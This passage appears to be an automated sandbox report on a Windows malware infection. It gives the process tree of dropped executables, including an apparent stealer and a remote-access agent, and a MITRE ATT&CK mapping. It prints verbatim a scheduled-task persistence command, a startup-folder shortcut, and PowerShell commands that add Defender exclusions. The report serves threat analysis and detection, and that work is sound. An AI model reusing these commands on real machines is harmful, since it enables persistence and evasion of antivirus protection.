        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2376
        
        C:\Users\Admin\AppData\Roaming\MSIX\meshagent32-group.exe
        
        "C:\Users\Admin\AppData\Roaming\MSIX\meshagent32-group.exe" -fullinstall
        8⤵
        Sets service image path in registry
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:2440
        
        C:\Users\Admin\AppData\Local\Temp\1000429001\66f0297e9c3eb_15.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000429001\66f0297e9c3eb_15.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5432
      - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2388
  - - C:\Users\Admin\AppData\Local\Temp\1000290001\crypted.exe
      "C:\Users\Admin\AppData\Local\Temp\1000290001\crypted.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4984
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:2328
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2352
  - - C:\Users\Admin\AppData\Local\Temp\1000308001\69bfa88891.exe
      "C:\Users\Admin\AppData\Local\Temp\1000308001\69bfa88891.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4340
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 816
        5⤵
        Program crash
        
        PID:4828
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 824
        5⤵
        Program crash
        
        PID:1216
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 884
        5⤵
        Program crash
        
        PID:4372
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 816
        5⤵
        Program crash
        
        PID:4832
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 984
        5⤵
        Program crash
        
        PID:3936
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 984
        5⤵
        Program crash
        
        PID:1812
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 1132
        5⤵
        Program crash
        
        PID:4856
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 1040
        5⤵
        Program crash
        
        PID:2556
  - - C:\Users\Admin\AppData\Local\Temp\1000314001\LummaC222222.exe
      "C:\Users\Admin\AppData\Local\Temp\1000314001\LummaC222222.exe"
      4⤵
      Executes dropped EXE
      PID:3724
  - - C:\Users\Admin\AppData\Local\Temp\1000318001\66ed86be077bb_12.exe
      "C:\Users\Admin\AppData\Local\Temp\1000318001\66ed86be077bb_12.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4836
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4884
  - - C:\Users\Admin\AppData\Local\Temp\1000321001\2.exe
      "C:\Users\Admin\AppData\Local\Temp\1000321001\2.exe"
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:1060
  - - C:\Users\Admin\AppData\Local\Temp\1000322001\newbundle2.exe
      "C:\Users\Admin\AppData\Local\Temp\1000322001\newbundle2.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2196
  - - C:\Users\Admin\AppData\Local\Temp\1000340001\Blenar.exe
      "C:\Users\Admin\AppData\Local\Temp\1000340001\Blenar.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2936
    - - C:\Users\Admin\AppData\Local\Temp\1000340001\Blenar.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000340001\Blenar.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:4048
  - - C:\Users\Admin\AppData\Roaming\1000341000\06ebaa3ce3.exe
      "C:\Users\Admin\AppData\Roaming\1000341000\06ebaa3ce3.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of FindShellTrayWindow
      PID:3228
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 708
        5⤵
        Program crash
        
        PID:3532
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 792
        5⤵
        Program crash
        
        PID:3372
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 868
        5⤵
        Program crash
        
        PID:5440
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 912
        5⤵
        Program crash
        
        PID:6052
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 936
        5⤵
        Program crash
        
        PID:6032
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 948
        5⤵
        Program crash
        
        PID:1456
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 1032
        5⤵
        Program crash
        
        PID:2488
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 1080
        5⤵
        Program crash
        
        PID:6060
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 1148
        5⤵
        Program crash
        
        PID:5140
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Executes dropped EXE
        
        PID:5208
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5208 -s 464
        6⤵
        Program crash
        
        PID:2364
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5208 -s 472
        6⤵
        Program crash
        
        PID:3368
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5208 -s 500
        6⤵
        Program crash
        
        PID:3316
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 1420
        5⤵
        Program crash
        
        PID:6048
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 1404
        5⤵
        Program crash
        
        PID:5988
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3228 -s 1332
        5⤵
        Program crash
        
        PID:3100
  - - C:\Users\Admin\AppData\Local\Temp\1000342001\rstxdhuj.exe
      "C:\Users\Admin\AppData\Local\Temp\1000342001\rstxdhuj.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1824
- C:\Windows\SysWOW64\cmd.exe
  cmd /c schtasks.exe /create /tn "Tuition" /tr "wscript //B 'C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js'" /sc minute /mo 5 /F
  2⤵
  PID:4296
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks.exe /create /tn "Tuition" /tr "wscript //B 'C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js'" /sc minute /mo 5 /F
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3524
- C:\Windows\SysWOW64\cmd.exe
  cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url" & echo URL="C:\Users\Admin\AppData\Local\QuantumDynamics Lab\QuantumFlow.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QuantumFlow.url" & exit
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  PID:4252
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5808
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5992
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'InstallUtil.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    PID:5100
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5808 -s 2272
    3⤵
    - Program crash
    PID:6136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4880 -ip 4880
1⤵
PID:3316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4340 -ip 4340
1⤵
PID:1592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4340 -ip 4340
1⤵
PID:4412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4340 -ip 4340
1⤵
PID:1948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4340 -ip 4340
1⤵
PID:1600

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4340 -ip 4340
1⤵
PID:652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4340 -ip 4340
1⤵
PID:592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4340 -ip 4340
1⤵
PID:4608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4340 -ip 4340
1⤵
PID:2532

C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
1⤵
- Executes dropped EXE
PID:3584

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:864

C:\Users\Admin\AppData\Local\Temp\service123.exe
C:\Users\Admin\AppData\Local\Temp\/service123.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1752 -ip 1752
1⤵
PID:2268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3228 -ip 3228
1⤵
PID:5080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3228 -ip 3228
1⤵
PID:5828

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3228 -ip 3228
1⤵
PID:5196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3228 -ip 3228
1⤵
PID:5340

C:\Program Files (x86)\Mesh Agent\MeshAgent.exe
"C:\Program Files (x86)\Mesh Agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:3928
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic SystemEnclosure get ChassisTypes
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5580
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic os get oslanguage /FORMAT:LIST
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:6036
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic ComputerSystem get PCSystemType /FORMAT:"C:\Windows\system32\wbem\en-US\csv"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2288
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic os get oslanguage /FORMAT:LIST
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2176
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic SystemEnclosure get ChassisTypes
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6012
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic ComputerSystem get PCSystemType /FORMAT:"C:\Windows\system32\wbem\en-US\csv"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3228 -ip 3228
1⤵
PID:5720

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3228 -ip 3228
1⤵
PID:5840

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3228 -ip 3228
1⤵
PID:5324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3228 -ip 3228
1⤵
PID:5972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3228 -ip 3228
1⤵
PID:4528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3228 -ip 3228
1⤵
PID:5448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3228 -ip 3228
1⤵
PID:5288

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3228 -ip 3228
1⤵
PID:5884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 5208 -ip 5208
1⤵
PID:5240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 5208 -ip 5208
1⤵
PID:4752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 5208 -ip 5208
1⤵
PID:1164

C:\Program Files (x86)\Mesh Agent\MeshAgent.exe
"C:\Program Files (x86)\Mesh Agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:1216
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic SystemEnclosure get ChassisTypes
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5616
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic os get oslanguage /FORMAT:LIST
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6020
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic ComputerSystem get PCSystemType /FORMAT:"C:\Windows\system32\wbem\en-US\csv"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5292
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic SystemEnclosure get ChassisTypes
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3108
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic ComputerSystem get PCSystemType /FORMAT:"C:\Windows\system32\wbem\en-US\csv"
  2⤵
  PID:4192

C:\Program Files (x86)\Mesh Agent\MeshAgent.exe
"C:\Program Files (x86)\Mesh Agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:764
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic SystemEnclosure get ChassisTypes
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2176
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic os get oslanguage /FORMAT:LIST
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3336
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic ComputerSystem get PCSystemType /FORMAT:"C:\Windows\system32\wbem\en-US\csv"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4352
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic SystemEnclosure get ChassisTypes
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1764
- C:\Windows\SysWOW64\wbem\wmic.exe
  wmic ComputerSystem get PCSystemType /FORMAT:"C:\Windows\system32\wbem\en-US\csv"
  2⤵
  PID:5712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 5808 -ip 5808
1⤵
PID:2488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion